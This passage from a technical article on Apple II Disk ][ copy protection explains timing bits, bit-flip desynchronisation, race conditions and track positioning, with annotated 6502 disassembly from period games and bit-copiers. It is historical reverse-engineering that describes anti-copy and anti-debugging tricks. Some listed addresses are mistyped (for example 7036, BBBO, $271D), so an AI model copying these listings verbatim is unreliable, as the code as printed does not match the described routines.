The Disk ][ controller shifts in bits at a rate equivalent to one bit every
four CPU cycles, once the first one-bit is seen. Thus, a full nibble takes
the equivalent of 32 CPU cycles to shift in. After the full nibble is
shifted in, the controller holds it in the QA switch of the Data Register
for the equivalent of another four CPU cycles, to allow it to be fetched
reliably. Those four CPU cycles elapse, and once a one-bit is seen, the
QA switch of the Data Register will be zeroed, and then the controller
will begin to shift in more bits. The significant part of that statement is
“once a one-bit is seen.” It is possible to intentionally introduce
“timing” (zero) bits into the stream in order to delay the reset. For each
zero-bit that is present, the previous value will be held for another
eight CPU cycles. For code that is not expecting these zero-bits to be
present, a nibble that is being held back will be indistinguishable from a
nibble that has newly arrived.

Creation uses this technique.

;wait for nibble to arrive
B94F    LDA   $C08C,X



B952    BPL   $B94F

;watch for #$D5
B954    CMP   #$D5
B956    BNE   $B948

;delay to ensure > 4 cycles
;before the next read occurs
B958    NOP

;read data latch
B959    LDA   $C08C,X

;Check if nibble has changed.
;If zero-bit is present,
;then read value lasts longer
B95C    CMP   #$D5
B95E    BEQ   $B972

Hacker II requires a pattern of zero-bits in the stream. The effect of
the delayed shift becomes clear when we count cycles.

;initialise mask
403A    LDA   #$08
...
;wait for nibble to arrive
4044    LDY   $C08C,X
4047    BPL   $4044  ;2 cycles
;watch for #$FB
4049    CPY   #$FB   ;2 cycles
404B    BNE   $403A  ;2 cycles
;not a do-nothing instruction!
;exists to be timing-identical
;to the BEQ at $4062
404D    BEQ   $404F  ;3 cycles
404F    NOP          ;2 cycles
4050    NOP          ;2 cycles
;read data latch
4051    LDY   $C08C,X;4 cycles
;check how many bits have
;shifted in
4054    CPY   #$08
;shift carry into A
4056    ROL
;until set bit is shifted out
;(takes five rounds)
4057    BCS   $4064
;wait for nibble to arrive



4059    LDY   $C08C,X
405C    BPL   $4059  ;2 cycles
;watch for #$FF
405E    CPY   #$FF   ;2 cycles
4060    BNE   $403A  ;2 cycles
4062    BEQ   $404F  ;3 cycles
;wait for nibble to arrive
4064    LDY   $C08C,X
4067    BPL   $4064
;remember its value
4069    STY   $07
;check if pattern was seen
;(alternating zero-bit)
406B    CMP   #$0A
406D    BNE   $403A
;wait for nibble to arrive
406F    LDA   $C08C,X
4072    BPL   $406F
;checksum against previous
;value must both be #$FF
4074    SEC
4075    ROL
4076    AND   $07
4078    EOR   #$FF
407A    BEQ   $4080

The timing loop is long enough for four nibbles to be shifted in if
no zero-bit is present, resulting in a value of at least #$08. (Specifically
the right-hand "F" from the value "FF".) If a zero-bit is present, then
fewer than four nibbles will be shifted in, resulting in a value of less
than #$08. This explains the "CPY #$08" instruction at $4054. It is checking
if a one-bit has been shifted in four times or three times.

The "CMP #$0A" instruction at $406B is checking the final results of the
multiple CPYs that were made. In binary, the results look like 01010 but
prior to that, the results progress like this:

00010000
00100001
01000010
10000101
00001010

That means it is expecting the first pass to have a value of less than
eight (carry clear), then a value of at least eight (carry set), then a value



of less than eight (carry clear), then a value of at least eight (carry set),
and finally a value of less than eight (carry clear), followed by two "FF"s.
That requires the stream to look like FB 0 FF FF 0 FF FF 0 Fx FF FF.

Floating bits

What happens if more than two consecutive zero-bits are present in a
stream? Something random. The Automatic Gain Control circuit will
eventually insert a one-bit because of amplified noise. It might happen
immediately after the second zero-bit, or it might happen after several
more zero-bits. The point is that reading that part of the stream
repeatedly will yield different responses.

Mr. Do! uses this technique.

;set counter to be used later
0710    LDY    #$06
...
;set state
0713    LDA    #$FF
0715    STA    $07C2
;wait for nibble to arrive
0718    LDA    $C088,X
071B    BPL    $0718
;watch for #$D5
071D    CMP    #$D5
071F    BNE    $0718
;wait for nibble to arrive
0721    LDA    $C088,X
0724    BPL    $0721
;watch for #$9B
0726    CMP    #$9B
0728    BNE    $071D
;wait for nibble to arrive
072A    LDA    $C088,X
072D    BPL    $072A
;watch for #$AB
072F    CMP    #$AB
0731    BNE    $071D
;wait for nibble to arrive
0733    LDA    $C088,X
7036    BPL    $0733
;watch for #$B2
0738    CMP    #$B2
073A    BNE    $071D
;wait for nibble to arrive



073C    LDA    $C088,X
073F    BPL    $073C
;watch for #$9E
0741    CMP    #$9E
0743    BNE    $071D
;wait for nibble to arrive
074E    LDA    $C088,X
0751    BPL    $074E
;loop six times
0753    DEY
0754    BNE    $074E
;change state
0756    INC    $07C2
0759    BNE    $2761
;store last read value
;on first pass
075B    STA    $07C3
;allow complete revolution
;and read again
075E    JMP    $071D
;Check last read value on
;subsequent pass. Must be
;different from the first pass
0761    CMP    $07C3
0764    BNE    $0771
;retry up to four times
0766    INC    $07C2
0769    LDA    $07C2
076C    CMP    #$08
076E    BNE    $271D

On the first pass, the program watches for the sequence $#D5 #$9B #$AB
#$B2 #$9E #$BE, skips the next five nibbles, and then reads and saves the
sixth nibble. On subsequent passes, the program watches again for the
sequence $#D5 #$9B #$AB #$B2 #$9E #$BE, skips the next five nibbles, and then
reads and compares the sixth nibble against the sixth nibble that was
read initially. The value that is read will always be a legal value, but on
the original disk, with multiple zero-bits in the stream, the value that
was read in one of the subsequent passes will not match the value that
was read in the first pass. No matter how many extra zero-bits existed
in the stream, the bit-copier will not write them out. Instead, it will
“freeze” the appearance of the stream, and normalise it so that there are
no more than two zero-bits emitted. As a result, the sixth nibble that



was read will have the same value for all passes, and therefore fail the
protection check.

Nibble count

Since a track is simply a stream of bits, it is possible to control the
layout of the values in that stream, as long as it follows the rules of the
hardware. The number of self-sychronizing values can be reduced to a
single set of the minimum number, if performance is not a
consideration. That means there are no other zero-bits present on the
track. However, a bit-copier cannot detect the zero-bits reliably
(neither their presence, nor their number), so it is left to guess if the
value #$FF must be stored using eight or ten bits. (That is, if it is a data
nibble or a self-synchronizing value.) If there are enough #$FF bytes on a
track, and if the bit-copier assumes that every one of them must be ten
bits wide, then it is possible that the bit-copier will write more data
than can fit on the track, resulting in part of the track being overwritten
when the revolution completes before the write completes.

As a separate technique, it is also possible to reduce the speed of the
drive while writing the data to the original disk, resulting in a track
that is so dense, that the data cannot fit on a disk when written at
regular speed. This is known as a “fat” track.

The more common technique is to simply use a sequence of nibbles
with enough zero-bits between them, that the “delayed fetch” effect is
triggered. (§10:7.2.) When the zero-bits are present, and if the fetch is

fast enough,47 then there will appear to be more nibbles of a particular
value than really exist, because the next bit will not be ready to shift in.
A program that counts the number of nibbles will see more nibbles in
the copy than in the original.

If the fetch is slow enough; well, this is an interesting case. Bit-
copiers try to read the data as quickly as it comes in. This is done not
by polling the QA switch of the Data Register, but by checking if the
top bit is already set, in an unrolled loop.



;2 cycle delay so
;shift might finish
TDL1    NOP
;try to detect timing bit
LDA $C0EC, X
BMI TDS2
TDL2    LDA $C0EC, X
BMI TDS2
;timing bit probably present
LDA $C0EC, X
BMI TDS3
LDA $C0EC, X
BMI TDS3
LDA $C0EC, X
BMI TDS3
LDA $C0EC, X
BMI TDS3
;3 cycle penalty if taken !
BPL TDL2
TDS2    STA ($0), Y
...
RTS
;store value with timing bit
;loses one bit as a result
TDS3    AND #$7F
STA ($0), Y
...
RTS

This code is a disassembly from Essential Data Duplicator
(E.D.D.), but apart from the BPL instruction, it is shared by Copy ][+.
(Someone copied!) Normally, a nibble will be shifted in before TDL2
completes, so that TDS2 is reached, and the nibble is stored intact.
However, by using only six fetches, the code is vulnerable to a well-
placed timing bit, such that the BPL will be reached just before the last
bit of the nibble is shifted in. That three-cycle time penalty when the
branch is taken is just enough that, when combined with the two-cycle
instruction before it, the shift will complete, and the four CPU cycles
will elapse, before the next read occurs. The result is that the nibble is
missed, and the next few nibbles that arrive will reach TDS3 instead,
losing one bit each. When those data are written to disk by the bit-
copier, the values will be entirely wrong.



Create With Garfield: Deluxe Edition uses this technique. (The
original Create With Garfield uses an entirely different protection.) It
has one track that is full of repeated sequences. Each of the sequences
has a prologue of five bytes in length. Every second one of the
prologues has a timing bit after each of the five bytes in the prologue.
In the middle of the track is a collection of bytes which do not match
the sequence, so the track is essentially split into two groups of these
repeated sequences. The size of the two groups is the same. When the
bit-copier attempts to read the data, the timing bits cause about half of
the sequences to be lost. What remain are far fewer sequences than
exist on the original disk. (Enough of them that the bit-copier
mistakenly believes that it has copied the track successfully.) A program
can detect a copy by the small count of these sequences. This technique
is likely to have been created to defeat E.D.D. specifically, but Copy ][+
is also affected. However, the protection can be reproduced with the
use of a peripheral that connects to the drive controller (and thus see
the zero-bits for exactly what they are), or by inserting an additional
fetch in the software.



Bit-flip, or defeat bit-copiers with this one weird trick

Deeply technical content follows. Prepare yourself!

Let’s take this simple sentence (sorry, but it’s the best example that I
could create at the time):

ITHASGOTTOBETHISLANDAHEAD

And split it according to some potential word boundaries:

IT HAS GOT TO BE THIS LAND AHEAD

Now we skip a bit:

OTTO BETH ISLAND AHEAD

A bit more:

TO BETH ISLAND AHEAD

A bit more still:

BET HIS L AND A HEAD

Okay, that last one doesn’t make much sense, but I wanted a
sentence which could be read differently, depending on where you
started reading, as opposed to a series of arbitrary overlapping words.
In any case, it’s clear that depending on where you start reading, you
can get vastly different results. Something similar is possible while
reading the bitstream from the disk. After a nibble is shifted in
(determined by the top bit being set), and the four CPU cycles have
elapsed, and once the one-bit is seen, then the QA switch of the Data
Register is set to zero. The absence of a counter allows the hardware to
be fooled about how many bits have been read. Specifically, the
controller can be convinced to discard some of the bits that it has read
from the disk while forming a nibble, and then the starting position



within the stream will be shifted accordingly. This is possible with a
single instruction, in conjunction with an appropriate delay.

After issuing an access of Q6H ($C08D + (slot x 16)), the QA switch of
the Data Register will receive a copy of the status bits, where it will
remain accessible for four CPU cycles. After four CPU cycles, the QA
switch of the Data Register will be zeroed. Meanwhile, assuming that
the disk is spinning at the time, the Logic State Sequencer (LSS)
continues to shift in the new bits. When the QA switch of the Data
Register is zeroed, it discards the bits that were already shifted in, and
the hardware will shift in bits as though nothing has been read
previously. Let’s see that in action.

Tinka’s Mazes does it this way, beginning with some preamble code
which is common to many programs that used this technique.

BB6A    LDY    #0
;wait for nibble to arrive
BB6C    LDA    $C08C,X
BB6F    BPL    $BB6C
BB71    DEY
;retry up to 256 times
BB72    BEQ    $BBBB
;watch for #$D5



BB74    CMP    #$D5
BB76    BNE    $BB6C
BB78    LDY    #0
;wait for nibble to arrive
BB7A    LDA    $C08C,X
BB7D    BPL    $BB7A
BB7F    DEY
;retry up to 256 times
BB80    BEQ    $BBBB
;watch for #$E7
BB82    CMP    #$E7
BB84    BNE    $BB7A
;wait for nibble to arrive
BB86    LDA    $C08C,X
BB89    BPL    $BB86
;watch for #$E7
BB8B    CMP    #$E7
BB8D    BNE    $BBBB
;wait for nibble to arrive
BB8F    LDA    $C08C,X
BB92    BPL    $BB8F
;watch for #$E7
BB94    CMP    #$E7
BB96    BNE    $BBBB

Here is the switch:

;trigger desync
BB98    LDA    $C08D,X
BB9B    LDY    #$10
;delay to ensure > 4 cycles
;before the next read occurs
BB9D    BIT    $6
;wait for nibble to arrive
BB9F    LDA    $C08C,X
BBA2    BPL    $BB9F
BBA4    DEY
;retry up to 16 times
BBA5    BEQ    $BBBB
;watch for #$EE
BBA7    CMP    #$EE
BBA9    BNE    $BB9F
BBAB    LDY    #7
;wait for nibble to arrive
BBAD    LDA    $C08C,X
BBBO    BPL    $BBAD
;compare backwards against the
;list at $BBC1
;E7 FC EE E7 FC EE EE FC



BBB2    CMP    ($48),Y
BBB4    BNE    $BBBB
BBB6    DEY
BBB7    BPL    $BBAD
;pass
BBB9    CLC
BBBA    RTS
BBBB    DEC    $50
;retry if count remains
BBBD    BNE    $BB57
;fail
BBBF    SEC
BBCO    RTS
BBC1    .BYTE $FC, $EE, $EE, $FC,
              $E7, $EE, $FC, $E7

But wait, there’s more! To see the bitstream on disk, it looks like D5
E7 E7 E7 E7 E7 E7 E7 E7 E7 E7 E7 with some harmless zero-bits in between. So
from where do the other values come? Since the magic is in the timing
of the reads, we must count cycles:

Time passes...

One bit is shifted in every four CPU cycles, so a delay of 15 CPU cycles
is enough for three bits to be shifted in. Those bits are discarded. Back
to our stream. In binary, it looks like the following, with the seemingly
redundant zero-bits in bold. 11100111 0 11100111 00 11100111
11100111 0 11100111 00 11100111 11100111 0 11100111 0 11100111
11100111

However, by skipping the first three bits, the stream looks like this:

00 11101110 0 11100111 00 11111100 11101110 0 11100111 00

11111100 11101110 0 11101110 0 11111100 111...



The old zero-bits are still in bold, and the newly exposed zero-bits
are in italics. We can see that the old zero-bits form part of the new
stream. This decodes to E7 FC EE E7 FC EE EE FC, and we have our magic
values.

Programs from Epyx that use this protection do not compare the
values in the pattern. Instead, the values are used as a key to decode the
rest of the data that are loaded. This hides the expected values, and
causes the program to crash if they are altered.

The Thunder Mountain version of Dig Dug uses a slight variation
on the technique, including a different preamble and switch. The
company seems to have kept the variation to themselves. (Bop’N
Wrestle from 1986 uses the same altered version, and comes from
Mindscape, but Mindscape owned the Thunder Mountain label, so the

connection is clear.)48 That version looks like this:

0224 LDY # $00
;wait for nibble to arrive
0226 LDA $C08C,X
0229 BPL $2226
022B DEY
;retry up to 256 times
022C BEQ $2275
022E CMP #$AD
0230 BNE $2226

A different prologue value is checked, allowing the bitstream to
begin like a regular sector: D5 AA AD. . .

Here is the switch:

;trigger desync
0252 LDA $C08D,X
0255 LDY # $10
;no delay instruction in this version
;wait for nibble to arrive
0257 LDA $C08C,X
025A BPL $2257
025C DEY
;retry up to 16 times
025D BEQ $2275
;watch for #$E7 instead, but it’s not a ‘‘true’’ E7
025F CMP #$E7



0261 BNE $2257
;and double the size of the pattern to match
0263 LDY #$0F

The bitstream on disk looks like D5 AA AD [many 96s] E7 E7 E7 E7 E7 E7 E7
E7 E7 E7 E7 with some harmless zero-bits in between. The desync timing
is only 12 cycles, but the required pattern is not found right away, so
the delay is not as interesting. In binary, the stream looks like 11100111
11100111 11100111 00 11100111 0 11100111 0 11100111 0 11100111
00 11100111 00 11100111 0 11100111 00 11100111 0 11100111 0
11100111 0 11100111 00 11100111 0 11100111 00 11100111 0
11100111 0 11100111 with the seemingly redundant zero-bits in bold.
However, by skipping the first three bits, the stream looks like this: 00

11111100 11111100 11100111 (← E7, but not aligned) 00 11101110 0
11101110 0 11101110 0 11100111 00 11100111 00 11101110 0
11100111 00 11101110 0 11101110 0 11101110 0 11100111 00

11101110 0 11100111 00 11101110 0 11101110 0 111. . .

The old zero-bits are still in bold, and the newly exposed zero-bits
are in italics. We can see that the old zero-bits form part of the new
stream. This decodes to FC (ignored) FC (ignored) E7 EE EE EE E7 E7 EE E7 EE
EE EE E7 EE E7 EE EE, a very smooth sequence indeed. Put simply, each
single bold zero-bit sequence results EE being seen, and every double
bold zero-bit sequence results in E7 being seen, allowing easy control
over exactly how smooth the sequence is.

1-2-3 Sequence Me uses the same technique but with different
values:

;wait for nibble to arrive
BA5B    LDA   $C08C,X
BA5E    BPL   $BA5B
;watch for #$AA
BA60    CMP   #$AA
BA62    BEQ   $BA7A
...
BA7A    LDY   #$02
;trigger desync
BA7C    LDA   $C08D,X
;delay while status is loaded
BA7F    PHA



;balance stack
BA80    PLA
;wait for nibble to arrive
BA81    LDA   $C08C,X
BA84    BPL   $BA81
;watch for #$BB
BA86    CMP   #$BB
BA88    BEQ   $BA8F
BA8A    DEY
;retry if count remains
BA8B    BPL   $BA81
;fail
BA8D    BMI   $BA77
;wait for nibble to arrive
BA8F    LDA   $C08C,X
BA92    BPL   $BA8F
;watch for #$F9
BA94    CMP   #$F9
BA96    BNE   $BA77

That stream looks like AA EB 97 DF FF with some harmless zero-bits in
between. Now let’s count the cycles:

BA5B    LDA   $C08C,X
BA5E    BPL   $BA5B      ;2 cycles
BA60    CMP   #$AA       ;2 cycles
BA62    BEQ   $BA7A      ;3 cycles
...
BA7A    LDY   #$02       ;2 cycles
BA7C    LDA   $C08D,X    ;4 cycles
BA7F    PHA              ;3 cycles
;total: 16 cycles

One bit is shifted in every four CPU cycles, so a delay of 16 CPU
cycles is enough for four bits to be shifted in. Those bits are discarded.
Back to our stream. In binary, it would look like 11101011 0 10010111
0 11011111 00 11111111, with the seemingly redundant zero-bits in
bold.

However, by skipping the first four bits, the stream looks a bit
different. 10110100 10111011 0 11111001 111111. . .

The old zero-bits are still in bold, and the newly exposed zero-bit is
in italics. We can see that the old zero-bits form part of the new



stream. This decodes to B4 (ignored) BB F9 Fx, and we have our magic
values.

The 4th R: Reasoning uses another variation of this technique.
Instead of matching the values explicitly, it watches for the data field on
a particular sector, waits for three nibbles and three bits to pass, and
then reads and stores the next 16 nibbles in an array. Then it calculates
a checksum of those 16 nibbles, and uses the checksum as an index into
the table of those 16 nibbles, to fetch two 8-bit keys in a row. The table
is treated as a circular list, so if the index were 15, then the two keys
would be formed by fetching the last entry in the array and the first
entry in the array. The keys are used to decipher the other nibbles that
are read from all of the other sectors on the disk. It looks like this:

;wait for nibble to arrive
BB63    LDA    $C08C,X
BB66    BPL    $BB63
;wait for nibble to leave
;if zero-bit is present,
;then read value lasts longer
BB68    LDA    $C08C,X
BB6B    BMI    $BB68
;wait for nibble to arrive
BB6D    LDA    $C08C,X
BB70    BPL    $BB6D
;trigger desync
BB72    STA    $C08D,X
;delay to reduce times
;that branch will be taken
BB75    NOP

;wait for status value to
;leave if zero-bit is present
;then read value lasts longer
BB76    LDA    $C08C,X
BB79    BMI    $BB76

;wait for next nibble
BB7B    LDA    $C08C,X
BB7E    BPL    $BB7B

That stream looks like CF CF 9E FD ED BB E6 B6 ED FB FC EB DF DE D3 D9 FF D9
DD D7 with some harmless zero-bits in between. Now let’s count those



cycles.

BB63  LDA   $C08C,X
BB66  BPL   $BB63
BB68  LDA   $C08C,X
BB6B  BMI   $BB68
BB6D  LDA   $C08C,X
BB70  BPL   $BB6D    ;2 cycles
BB72  STA   $C08D,X  ;5 cycles
BB75  NOP            ;2 cycles
BB76  LDA   $C08C,X  ;4 cycles
;but +4 cycles for each time
;reached because of zero-bit
BB79  BMI   $BB76    ;2 cycles
;but +3 for each time BMI is
;taken because of zero-bit.

;total 15, 22 or 29 cycles

One bit is shifted in every four CPU cycles, so a delay of 15 CPU
cycles is enough for three bits to be shifted in. A delay of 22 CPU
cycles would normally be enough for five bits to be shifted in.
However, if the delay is caused by the presence of a zero-bit, then it
behaves as though the delay were only 18 CPU cycles, which is enough
for four bits to be shifted in. A delay of 29 CPU cycles is enough for
seven bits to be shifted in. However, if the delay is caused by the
presence of a second zero-bit, then it behaves as though the delay were
only 21 CPU cycles, which is enough for five bits to be shifted in. In
any case, the routine is written to discard a fixed number of regular
bits, along with any zero-bits that are also present. Back to our stream,
in binary, it would look like this, with the seemingly redundant zero-
bits in bold.

11001111 11001111 0 10011110 11111101 0 11101101 10111011
11100110 10110110 11101101 11111011 0 11111100 11101011 11011111
11011110 11010011 11011001 11111111 11011001 11011101 0 11010111

However, by skipping the first three bits, the stream looks a bit
different.

0 11110100 11110111 11101011 10110110 11101111 10011010 11011011
10110111 11101101 11111001 11010111 10111111 10111101 10100111



10110011 11111111 10110011 10111010 11010111

The old zero-bits are still in bold, and the newly exposed zero-bit is
in italics. We can see that the old zero-bits form part of the new
stream. This decodes to F4 F7 (both ignored) EB B6 EF 9A DB B7 ED F9 D7 BF BD
A7 B3 FF B3 BA. The trailing values are stored backwards, and the
checksum is #$67. The low four bits (7) are the index into the table, and
the values at offset 7 and 8 are #$D7 and #$F9.

A bit-copier that misses any of these zero-bits will write a track
whose length and contents do not match the original

Race conditions

Page 4 of the Software Control of the Disk ][ or IWM Controller
document states that “The Disk ][ controller hardware will keep the
ENABLE/signal to its active low state for approximately one second
after the execution of the motor off instruction, therefore read/write
can be performed reliably within this period.” So, a program can issue
the motor off instruction, and then read sector data successfully for up
to one second afterwards.

This behavior functions as a very nice anti-debugging mechanism,
since single-stepping through the disk access code, after the motor-off
instruction has been issued, will cause the time period to be exceeded.
Thus, the disk won’t be readable at that time. Sherwood Forest uses
this technique.

Page 4 of the Software Control of the Disk ][ or IWM Controller
document also states that “... the program should verify that the motor
is spinning by monitoring the change in data pattern read from the
drive.” That is to say, while the drive is spinning, the value will change.
Once the drive stops spinning, the value will not change anymore.

Lady Tut uses this technique. It issues the motor-off instruction,
and then reads continually from the drive until it sees two consecutive
bytes of the same value. The program assumes at that point that the
drive is no longer spinning. Periodically there-after, the program reads
from the QA switch of the Data Register, and compares the newly read



value with the initially read value. If a different value is seen, then the
program triggers a reboot.

In section 9-14 of Understanding the Apple ][, Jim Sather says, “any
even address could be used to load data from the data register to the
MPU, although $C088 ... would be inappropriate.” It might be
considered inappropriate because of the one-second window noted
previously, but that’s exactly how the program Mr. Do! uses it. By
reading from $C088, the program is able to issue the motor off
instruction, and fetch the data at the same time. It is compact and
useful for anti-debugging.

Faster pussycat

Another kind of race condition revolves around how quickly the data
can be read from the disk. Borrowed Time, for example, reads an entire
track in one revolution. In an interview for the Open Apple podcast,
Rebecca Heineman says that she performs the decoding while the seek
is in progress. While this is certainly possible, it would incur the
significant overhead of having to store all 16 of the two-bit arrays—a
total of 1.3kB! — before any decoding could occur. Of course, this is
not what was done. Instead, each sector is read individually, but the
denibbilisation is interleaved with the read. It means that the sector is
decoded directly into memory, with only 86 bytes of overhead for a
single two-bit array, and the use of two tables of 106 bytes and 256
bytes respectively. It is obviously fast enough to catch the next sector
that arrives

The code looks like this, after validating the data field prologue:

0946    LDY     #$AA
;zero rolling checksum
0948    LDA     #0
094A    STA     $26
;wait for nibble to arrive
094C    LDX     $C0EC
094F    BPL     $94C
;index into table of offsets
     of structures
0951    LDA     $A00,X



;store offset
0954    STA     $200,Y
;update rolling checksum
0957    EOR     $26
;fetch 86 times
0959    INY
095A    BNE     $94A
095C    LDY     #$AA
095E    BNE     $963
;store decoded value
0960    STA     $9F55,Y
;wait for nibble to arrive
0963    LDX     $C0EC
0966    BPL     $963
;update rolling checksum
0968    EOR     $A00,X
;fetch structure offset,
;bits 0-1
096B    LDX     $200,Y
;merge first member of two-bit
;structure with six-bit value
;to recover eight-bit value
096E    EOR     $B00,X
;loop 86 times
0971    INY
0972    BNE    $960
;save 85th value for last
0974    PHA
;clear low two bits
0975    AND     #$FC
0977    LDY     #$AA
;wait for nibble to arrive
0979    LDX     $C0EC
097C    BPL     $979
;update rolling checksum
097E    EOR     $A00,X
;fetch structure offset,
;bits 2-3
0981    LDX     $200,Y
;merge second member of
;two-bit structure with
;six-bit value to recover
;eight-bit value
0984    EOR     $B01,X
;store decoded value
0987    STA     $9FAC,Y
;loop 86 times
098A    INY
098B    BNE     $979
;wait for nibble to arrive



098D    LDX     $C0EC
0990    BPL     $98D
;clear low two bits
0992    AND     #$FC
0994    LDY     #$AC
;update rolling checksum
0996    EOR     $A00,X
;fetch structure offset,
;bits 4-5
;offset -2 to account for Y+2
0999    LDX     $1FE,Y
;merge third member of two-bit
;structure with six-bit value
;to recover eight-bit value
099C    EOR     $B02,X
;store decoded value
099F    STA     $A000,Y
;wait for nibble to arrive
09A2    LDX     $C0EC
09A5    BPL     $9A2
;loop 84 times
09A7    INY
09A8    BNE     $996
;clear low two bits
09AA    AND     #$FC
;update rolling checksum
09AC    EOR     $A00,X
;restore slot to X
09AF    LDX     $2B
;retry if checksum mismatch
09B1    TAY
09B2    BNE     $9BD
;wait for nibble to arrive
09B4    LDA     $C0EC
09B7    BPL     $9B4
;check only 1st epilogue byte
09B9    CMP     #$DE
09BB    BEQ     $9BF
09BD    SEC
09BE    .BYTE $24
09BF    CLC
;store 85th decoded value
09CO    PLA
09C1    LDY     #$55
09C3    STA     ($44),Y
09C5    RTS

The exact way in which the technique works is as follows. First,
each of the two-bit values is read into memory, but instead of storing



them directly, the values are used as an index into the 106-byte table.
The 106-byte table serves two purposes. The first, in the context of the
two-bit values, is as an array of offsets within the 256-byte table. The
second, in the context of the six-bit values, is as an array of pre-shifted
values for the six-bit nibbles. The 256-byte table is composed of groups
of two-bit values in all possible combinations for each of the three
positions in a nibble. To produce the eight-bit value, each of the pre-
shifted six-bit values is ORed with the corresponding two-bit value. It is
unknown why the 85th value is treated separately from the rest in that
code; it could certainly be decoded at the same time, saving five lines.

With the benefit of determination to improve it, and the ability to
do so, I rewrote this loader to decode all of the bytes directly, reduced

the size of the code, and made it even faster. I call it “Oboot.”49 Then I
reduced the overhead to just two bytes, if page $BF is not the

destination. I call that one “qboot.”50 The two tables are still 106 bytes
and 256 bytes respectively. It might appear that the second table can be



reduced to 192 bytes, since the other 64 bytes are unused. However, it
is not possible for this algorithm, because the alignment is required to
supply the pre-shifted values. If the table were reduced in size, then
additional operations would be required to reproduce the effect of the
shift, and which would take longer to execute than the time available
before the next nibble arrived.

Interestingly, Heineman claims to have created and released the

technique in 1980,51 but it was apparently not until 1984 that she used
it in a release herself. It certainly existed in 1980, though. Automated
Simulations (which later became Epyx) included the technique with
the programs Hellfire Warrior and Rescue At Rigel. In 1983, Free Fall

Associates52 included the technique with the programs Murder on the
Zinderneuf and Archon. (Apparently they took it with them, as Epyx
did not use it again.) Also in 1983, Apple included the technique in
ProDOS. In 1985, Brøderbund included the technique with the
program Captain Goodnight. According to Roland Gustafsson, Apple

supplied that code.53

Also interestingly, whoever included it in the Free Fall Associates
programs either did not understand it, or just did not want to touch it
—there, the loader has been patched to require page-aligned reads, but
the code still performs the initialisation for arbitrary addressing.
Twelve lines of code could have been removed from that version. The
Interplay programs that use the technique also require page-aligned
reads, but do not have the unnecessary initialisation code.

As Olivier Guinart notes, “It’s ironic that the race condition would
be used by a program called Borrowed Time."



10:7.3 Track-level protections

Track length

The length of a track might not be constant across all of the tracks on a
disk. The speed of the drive is the primary reason: the faster the drive,
the shorter the track. Fewer nibbles can be written because of the larger
gaps between the nibbles.

Wizardry determines the length of the track, by measuring the time
between succeeding arrivals of sector zero, and then calculates the
deviation from the expected value. This deviation value is applied to
the length of several other tracks, and the result is compared against the
expected lengths. If the length of the track is not within the range that
is expected, then the program hangs. This protection cannot be
reproduced by a sector-copier or track-copier, because they will
discard the original data between the sectors, thus altering the length of
the track. A bit-copier can usually reproduce this protection because it
writes the entire track mostly as it appeared originally, so the track
length is at least similar to the original.

Track positioning

The stepper motor in the Disk ][ is composed of four magnets. To
advance a whole track requires activating and deactivating two phases
in the proper order, and with a sufficient delay, for each track to step.
To step to a later track, the next phase must be activated while the other
phases are deactivated. To step to an earlier track, the previous phase
must be activated while the other phases are deactivated. As might be
expected, activating and then deactivating only one of the phases will
cause the stepper to stop half-way between two tracks. This is a half-
track position. It is even possible to produce quarter-track stepping
reliably, by performing the half-track stepping method, but with a
smaller delay. Depending on the hardware, it can also be done by
activating two of the phases, and then deactivating only one of them.
This last technique is used by Spiradisc. (§10:7.3.)



The issue with half-track and quarter-track positioning is that data
written to these partial track positions will cause signal interference
with data written to the neighbouring half-track or quarter-track at the
same relative position. To avoid unintentional cross-talk, data can be
written to only part of the track such that there is no overlap, or placed
at least three-quarters of a track apart. (The reliability of three-quarter
tracks is questionable.)

The maximum amount of data that can be placed at partial-track
intervals is proportional to the stepping—a quarter of a track for each
of four consecutive quarter-tracks, half of a track for each of two
consecutive half-tracks, or a full track for consecutive three-quarter-
tracks. There can be a significant performance hit to access the data,
too—it requires an almost complete rotation to reach the start of the
data on subsequent tracks if the maximum density is used, because the
seek time is long enough that the start will be missed on the first time
around. As a result, the most common amount that is used is only a
quarter of the track, and placed far enough around the track that the
read can be performed almost continuously. Programs that make use of
partial tracks usually include a standard format of individual sectors, so
the only trick to the protection is the location of the data on the disk.

Agent USA uses the half-track technique with five sectors per track.

Championship Lode Runner uses an alternating quarter-track
technique with just two sectors per track but of twice the size. While
loading, the access alternates between the neighbouring quarter-tracks,
resulting in the drive chattering, but allowing the sectors to be spaced
only half of a rotation apart. In both cases of the programs here, it
results in an extremely fast load time because of the reduced head
movement.

In this case, the protection is the use of partial tracks. Copy
programs which do not copy the partial tracks (and copying partial



tracks is not the default behavior) will fail to reproduce the protection.

Synchronised tracks

If the approximate rotation speed of the drive is known, then it
becomes possible to place sectors at specific locations on tracks, such
that they have a special position relative to sectors on other tracks. This
technique is identical to synchronized sectors, except that it spans
tracks, making it even more difficult to reproduce, because it is difficult
to determine the relative position of sectors across tracks. Unlike
“spiral tracking” (§10:7.3), this technique limits itself to checking for
the existence of particular sectors, rather than actually reading them.

Blazing Paddles uses this technique. Once it finds sector zero on
track zero, as a known starting point, it seeks to track one, reads the
address field of the next sector to arrive, and then compares it to an
expected value. If the proper sector is found, then the program seeks to
track two, reads the address field of the next sector to arrive, and
compares it to an expected value. If the proper sector is found, then the
program seeks to track three. This is repeated over eight tracks in total.
It means that the original disk has one sector placed at a specific
location on each of eight consecutive tracks, relative to sector zero of
track zero, such that it factors in how much the disk rotates during the
time that the controller takes to move the head from track zero. It also
supports slight variations in rotation speed, such that the read can
begin anywhere after the address field for the previous sector, without
failing the protection.

Track spiralling



"Track spiralling” or “spiral tracking” is a technique whereby the
data is placed in partial-track intervals, but treated as a complete track.
By measuring the time to move the head to a partial-track, the position
on the track can be known, such that the next sector to be read will
have a predictable number, and therefore can be read without
validation, once the start of the sector is found. A copy of the disk will
not place the data at the same relative position, causing the protection
to fail. The stepping in spiral tracking goes in only one direction. A
visualisation of the data access would look like a broken spiral, hence
the name.

One major problem with spiral tracking is that variations in
rotation speed can result in the read missing its queue and not finding
the expected sector. For thirty years, I believed a claim that the

program Captain Goodnight uses this technique.54 It doesn’t. The
Observatory uses a spiral pattern for faster loading, but still verifies the
sector number first. However, the program LifeSaver uses true spiral
tracking.

Track arcing

“Track arcing” uses the same principle as spiral tracking, but instead of
stepping in only one direction, it reaches a threshold and then reverses
direction.



Track mirroring

Track mirroring should be placed conceptually between synchronized
tracks and spiral tracking. As with synchronized tracks, it expects a
particular sector to be found after stepping across multiple tracks. As
with spiral tracking, it reads the sector data. However, unlike spiral
tracking, it verifies that the contents of that sector match exactly the
contents of all of the other sectors that are synchronized similarly
